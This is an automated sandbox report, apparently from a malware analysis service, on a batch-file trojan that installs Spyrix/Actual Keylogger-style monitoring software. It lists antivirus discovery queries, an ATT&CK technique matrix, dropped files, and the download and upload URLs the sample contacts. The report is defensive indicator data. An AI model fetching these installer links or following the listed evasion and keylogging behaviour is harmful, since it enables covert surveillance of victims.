Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: \Device\CdRom0\ VolumeInformation

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 56_2_0337D280 GetLocalTime,

56_2_0337D280

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 56_2_0337611A GetVersion,

56_2_0337611A

Source: C:\Users\user\AppData\Local\Temp\183942631522663\[space]= .exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: spkl.exe, 00000038.00000002.2755859416.0000000007720000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: spkl.exe, 00000038.00000002.2755859416.0000000007720000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: der\MsMpeng.exe

Source: C:\Windows\SysWOW64\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntivirusProduct

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Code function: 71_2_003752B0 setsockopt,_errno,_errno,_errno,strlen,memset,strncmp,strncmp,htons,WSAGetLastError,setsockopt,WSAIoctl,WSAGetLastError,strchr,htons,htons,bind,WSAGetLastError,getsockname,WSAGetLastError,WSAGetLastError,connect,htons,atoi,

71_2_003752B0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	112 Scripting	Valid Accounts	31 Windows Management Instrumentation	112 Scripting	1 DLL Side-Loading	111 Disable or Modify Tools	21 Input Capture	1 System Time Discovery	Remote Services	11 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	12 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 System Network Connections Discovery	Remote Desktop Protocol	21 Input Capture	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	111 Registry Run Keys / Startup Folder	111 Registry Run Keys / Startup Folder	41 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	2 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	3 Software Packing	NTDS	67 System Information Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	161 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	161 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	4 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Modify Registry	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	161 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	2 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
D0WmCTD2qO.bat	26%	ReversingLabs	Script-BAT.Trojan.Pantera
D0WmCTD2qO.bat	21%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Link
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\WebBrowser.dll (copy)	0%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\WebBrowser.dll (copy)	3%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ff.exe (copy)	0%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ff.exe (copy)	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-1I5NJ.tmp	0%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-1I5NJ.tmp	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-24VMR.tmp	0%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-24VMR.tmp	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-67IFD.tmp	0%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-67IFD.tmp	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-GD8FS.tmp	3%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-GD8FS.tmp	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-H780M.tmp	4%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-H780M.tmp	1%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-HNNTE.tmp	0%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-HNNTE.tmp	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-JLPKJ.tmp	3%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-JLPKJ.tmp	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-JVHDE.tmp	0%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-JVHDE.tmp	3%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-NNSLF.tmp	4%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-NNSLF.tmp	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lame_enc.dll (copy)	4%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lame_enc.dll (copy)	1%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\libeay32.dll (copy)	0%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\libeay32.dll (copy)	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe (copy)	3%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe (copy)	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sqlite3.dll (copy)	0%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sqlite3.dll (copy)	0%	Virustotal	Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
spyrix.net	4%	Virustotal	Browse
cl-e0469d03.edgecdn.ru	0%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse
cdn.cdndownload.net	0%	Virustotal	Browse
dashboard.spyrix.com	2%	Virustotal	Browse
filedn.com	1%	Virustotal	Browse
cdnbaynet.com	1%	Virustotal	Browse

Name	IP	Active	Malicious	Antivirus Detection
swtb-download.spyrix-sfk.com	167.114.14.168	true	false
spyrix.net	158.69.117.119	true	false	4%, Virustotal, Browse
dashboard.spyrix.com	158.69.117.119	true	false	2%, Virustotal, Browse
www.google.com	142.250.181.228	true	false	0%, Virustotal, Browse
filedn.com	23.109.93.100	true	false	1%, Virustotal, Browse
cl-e0469d03.edgecdn.ru	95.181.182.182	true	false	0%, Virustotal, Browse
cdnbaynet.com	167.114.14.170	true	false	1%, Virustotal, Browse
cdn.cdndownload.net	unknown	unknown	false	0%, Virustotal, Browse

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://Spyrix.net/dashboard/prg-list	false
https://spyrix.net/dashboard/prg-actions	false
https://dashboard.spyrix.com/cdn.js	false
https://cdn.cdndownload.net/dashboard30/assets/index-004f4025.js	false
https://cdn.cdndownload.net/dashboard30/assets/Modal-04ffda94.css	false
https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404	false
https://cdn.cdndownload.net/dashboard30/assets/Copyright.vue_vue_type_script_setup_true_lang-05301fe7.js	false
https://cdn.cdndownload.net/dashboard30/assets/Nunito-Regular-73dcaa51.woff2	false
https://cdn.cdndownload.net/dashboard30/assets/ButtonText.vue_vue_type_script_setup_true_lang-1bda6e81.js	false
https://cdn.cdndownload.net/dashboard30/assets/ButtonTemplate.module-c837805f.js	false
https://cdn.cdndownload.net/dashboard30/assets/Button-ca236c00.css	false
https://cdn.cdndownload.net/dashboard30/assets/en-5393c481.js	false
https://cdn.cdndownload.net/dashboard30/assets/Input.vue_vue_type_script_setup_true_lang-31858815.js	false
https://cdn.cdndownload.net/dashboard30/assets/Button.module-6d4e91b8.js	false
https://cdn.cdndownload.net/dashboard30/assets/ButtonText-ead06ca1.css	false
https://cdn.cdndownload.net/dashboard30/assets/ConfirmPhoneModal.module-3f369b32.js	false

URLs from Memory and Binaries

Name	Source	Malicious
http://www.jrsoftware.org/0	[space]= .tmp, 00000016.00000003.2457362812.0000000003408000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.1875219157.0000000003321000.00000004.00001000.00020000.00000000.sdmp	false
https://dashboard.spyrix.com/account/login-from-program?email=	[space]= .tmp, 00000016.00000003.2462875945.00000000022B0000.00000004.00001000.00020000.00000000.sdmp	false
https://api.dropbox.com/1/fileops/copy	spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	false
https://dashboard.spyrix.com/account/login-from-program	spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	false
https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exev	WMIC.exe, 0000001A.00000002.1922338845.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	false
https://spyrix.net/usr/monitor/	spkl.exe, spkl.exe, 00000038.00000002.2742570837.000000000457B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	false
https://spyrix.net/dashboard/p	spkl.exe, 00000038.00000002.2753080685.00000000075E0000.00000004.00001000.00020000.00000000.sdmp	false
https://curl.haxx.se/libcurl/c/curl_easy_setopt.html	qrl.exe, 0000004E.00000000.2603252461.00000000005F2000.00000002.00000001.01000000.00000017.sdmp	false
https://cdnbaynet.com/loader/link.php?prg_id=sfkU	curl.exe, 0000000E.00000002.1613915870.0000000002D30000.00000004.00000020.00020000.00000000.sdmp	false
http://www.indyproject.org/	spkl.exe, spkl.exe, 00000038.00000002.2673755823.0000000000863000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000038.00000002.2742570837.0000000004541000.00000004.00001000.00020000.00000000.sdmp, spmm.exe, 0000004D.00000000.2580594653.0000000000401000.00000020.00000001.01000000.00000018.sdmp, spmm.exe, 0000004D.00000002.2678280868.00000000022B1000.00000004.00001000.00020000.00000000.sdmp	false
https://spyrix.net/dashboard/prg-actionseDrive	qrl.exe, 0000004E.00000002.2658657384.00000000011D0000.00000004.00000020.00020000.00000000.sdmp	false
https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.execurl.exe	cmd.exe, 0000000A.00000003.1867990577.0000000000804000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000011.00000002.1867584387.0000000002980000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000011.00000002.1867688496.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp	false
http://www.spyrix.com/pro_upgrade.htm?lic=	spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	false
http://crl.certum.pl/ca.crl0:	[space]= .tmp, 00000016.00000003.2457362812.0000000003408000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.1875219157.0000000003321000.00000004.00001000.00020000.00000000.sdmp	false
https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.e5	WMIC.exe, 0000001E.00000002.1940760617.000000000094C000.00000004.00000020.00020000.00000000.sdmp	false
https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeLOCALAPPDATA=C:	tasklist.exe, 00000059.00000002.2667523224.0000000000450000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000059.00000002.2667760128.0000000000570000.00000004.00000020.00020000.00000000.sdmp	false
http://www.myspace.com/search/	spkl.exe, 00000038.00000002.2742570837.000000000457B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000003.2483675569.0000000007720000.00000004.00000800.00020000.00000000.sdmp	false
https://api.dropbox.com/1/fileops/create_folder?	spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	false
https://www.spyrix.com	spkl.exe, 00000038.00000002.2742570837.000000000457B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000003.2422306843.00000000044CC000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2691175840.0000000000915000.00000040.00000001.01000000.00000014.sdmp	false
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	[space]= .exe, 00000007.00000002.1804766822.0000000002FA4000.00000004.00000800.00020000.00000000.sdmp	false
https://spyrix.net/dashboard/prg-actionsll	qrl.exe, 00000047.00000002.2583202617.00000000010FD000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000047.00000003.2578411599.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	false
http://www.innosetup.com/	[space]= .exe, 00000013.00000003.1872221233.000000007FD10000.00000004.00001000.00020000.00000000.sdmp, [space]= .exe, 00000013.00000003.1871453618.00000000023B0000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000000.1873347361.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	false
https://spyrix.net/dashboard/prg-actionsin	spkl.exe, 00000038.00000002.2726762987.0000000001811000.00000004.00000020.00020000.00000000.sdmp	false
https://spyrix.net/dashboard/proxy/upload	spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	false
https://swtb-download.spyrix-sfk.com/download	spmm.exe, 0000004D.00000002.2677681526.0000000002200000.00000004.00000020.00020000.00000000.sdmp	false
https://api.dropbox.com/1/shares/dropbox	spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	false
HTTPS://DASHBOARD.SPYRIX.COM/	spkl.exe, 00000038.00000002.2750231481.0000000006A70000.00000004.00001000.00020000.00000000.sdmp	false
https://spyrix.net/dashboard/prg-actionsubertlS	qrl.exe, 0000004E.00000002.2658657384.00000000011D0000.00000004.00000020.00020000.00000000.sdmp	false
https://api-content.dropbox.com/1/files/dropbox	spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	false
http://crl.ver)	svchost.exe, 00000008.00000002.2689351113.0000027405600000.00000004.00000020.00020000.00000000.sdmp	false
https://api-content.dropbox.com/1/files_put	spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	false
https://api.dropbox.com/1/oauth/request_token?	spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	false
https://dashboard.spyrix.com/.spyrix.com/qqS	spkl.exe, 00000038.00000002.2746632236.000000000652A000.00000004.00001000.00020000.00000000.sdmp	false
HTTPS://SPYRIX.NET/DASHBOARD/PRG-ACTIONS	spkl.exe, 00000038.00000002.2742570837.000000000456C000.00000004.00001000.00020000.00000000.sdmp	false
https://spyrix.net/das	spkl.exe, 00000038.00000003.2605309079.00000000001E7000.00000004.00000020.00020000.00000000.sdmp	false
https://api.dropbox.com/1/metadata/sandbox	spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	false
https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/rtyRe243ohygdfrEewd234/	[space]= .exe, 00000007.00000002.1804766822.0000000002F7E000.00000004.00000800.00020000.00000000.sdmp, [space]= .exe.6.dr	false
https://spyrix.net/usr/monitor/access.txt	[space]= .tmp, 00000016.00000003.2462875945.00000000022B0000.00000004.00001000.00020000.00000000.sdmp	false
http://www.actualkeylogger.com/help.html#registrate	spkl.exe	false
http://www.ok.ru/dk?st.cmd=searchResult	spkl.exe, 00000038.00000002.2742570837.000000000457B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000003.2483675569.0000000007720000.00000004.00000800.00020000.00000000.sdmp	false
http://repository.certum.pl/l3.cer0	[space]= .tmp, 00000016.00000003.2457362812.0000000003408000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.1875219157.0000000003321000.00000004.00001000.00020000.00000000.sdmp	false
https://api.dropbox.com/1/fileops/create_folder	spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	false
https://swtb-download.spyrix-sfk.com/C	tasklist.exe, 00000057.00000002.2660761706.000000000324F000.00000004.00000020.00020000.00000000.sdmp	false
http://html4/loose.dtd	qrl.exe, qrl.exe, 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 00000049.00000002.2606650716.00000000005F2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 0000004B.00000000.2579396035.00000000005F2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 0000004E.00000000.2603252461.00000000005F2000.00000002.00000001.01000000.00000017.sdmp	false
https://spyrix.net/dashboard/prg-actions//swtb-	qrl.exe, 00000047.00000002.2583125482.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	false
http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	[space]= .exe, 00000013.00000000.1870033970.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	false
http://neftali.clubdelphi.com/	spkl.exe, 00000038.00000003.2422306843.00000000044E1000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2691175840.0000000000929000.00000040.00000001.01000000.00000014.sdmp, spmm.exe, 0000004D.00000000.2590049471.00000000005EA000.00000002.00000001.01000000.00000018.sdmp	false
http://.css	qrl.exe, 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 00000049.00000002.2606650716.00000000005F2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 0000004B.00000000.2579396035.00000000005F2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 0000004E.00000000.2603252461.00000000005F2000.00000002.00000001.01000000.00000017.sdmp	false
https://filedn.com	[space]= .exe, 00000007.00000002.1804766822.0000000002FA4000.00000004.00000800.00020000.00000000.sdmp	false
https://api.dropbox.com/1/fileops/copy?	spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	false
https://spyrix.net/dashboard/prg-actionsuu7	qrl.exe, 00000049.00000002.2608232514.0000000001B8D000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000049.00000003.2604925511.0000000001B8B000.00000004.00000020.00020000.00000000.sdmp	false
https://dashboard.actualkeylogger.com	spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	false
https://swtb-download.spyrix-sfk.com/f	regedit.exe, 00000035.00000002.2402349929.00000000034D0000.00000004.00000020.00020000.00000000.sdmp	false
http://vk.com/search	spkl.exe, 00000038.00000003.2483675569.0000000007720000.00000004.00000800.00020000.00000000.sdmp	false
https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe&bd	reg.exe, 0000002F.00000002.2166160354.0000022729B9A000.00000004.00000020.00020000.00000000.sdmp	false
https://spyrix.net/dashboard/prg-actionsive#	qrl.exe, 00000049.00000002.2607961539.0000000001B80000.00000004.00000020.00020000.00000000.sdmp	false
http://vk.com/searchecp	spkl.exe, 00000038.00000002.2750231481.0000000006A96000.00000004.00001000.00020000.00000000.sdmp	false
http://www.actualkeylogger.com/buynow.html	spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	false
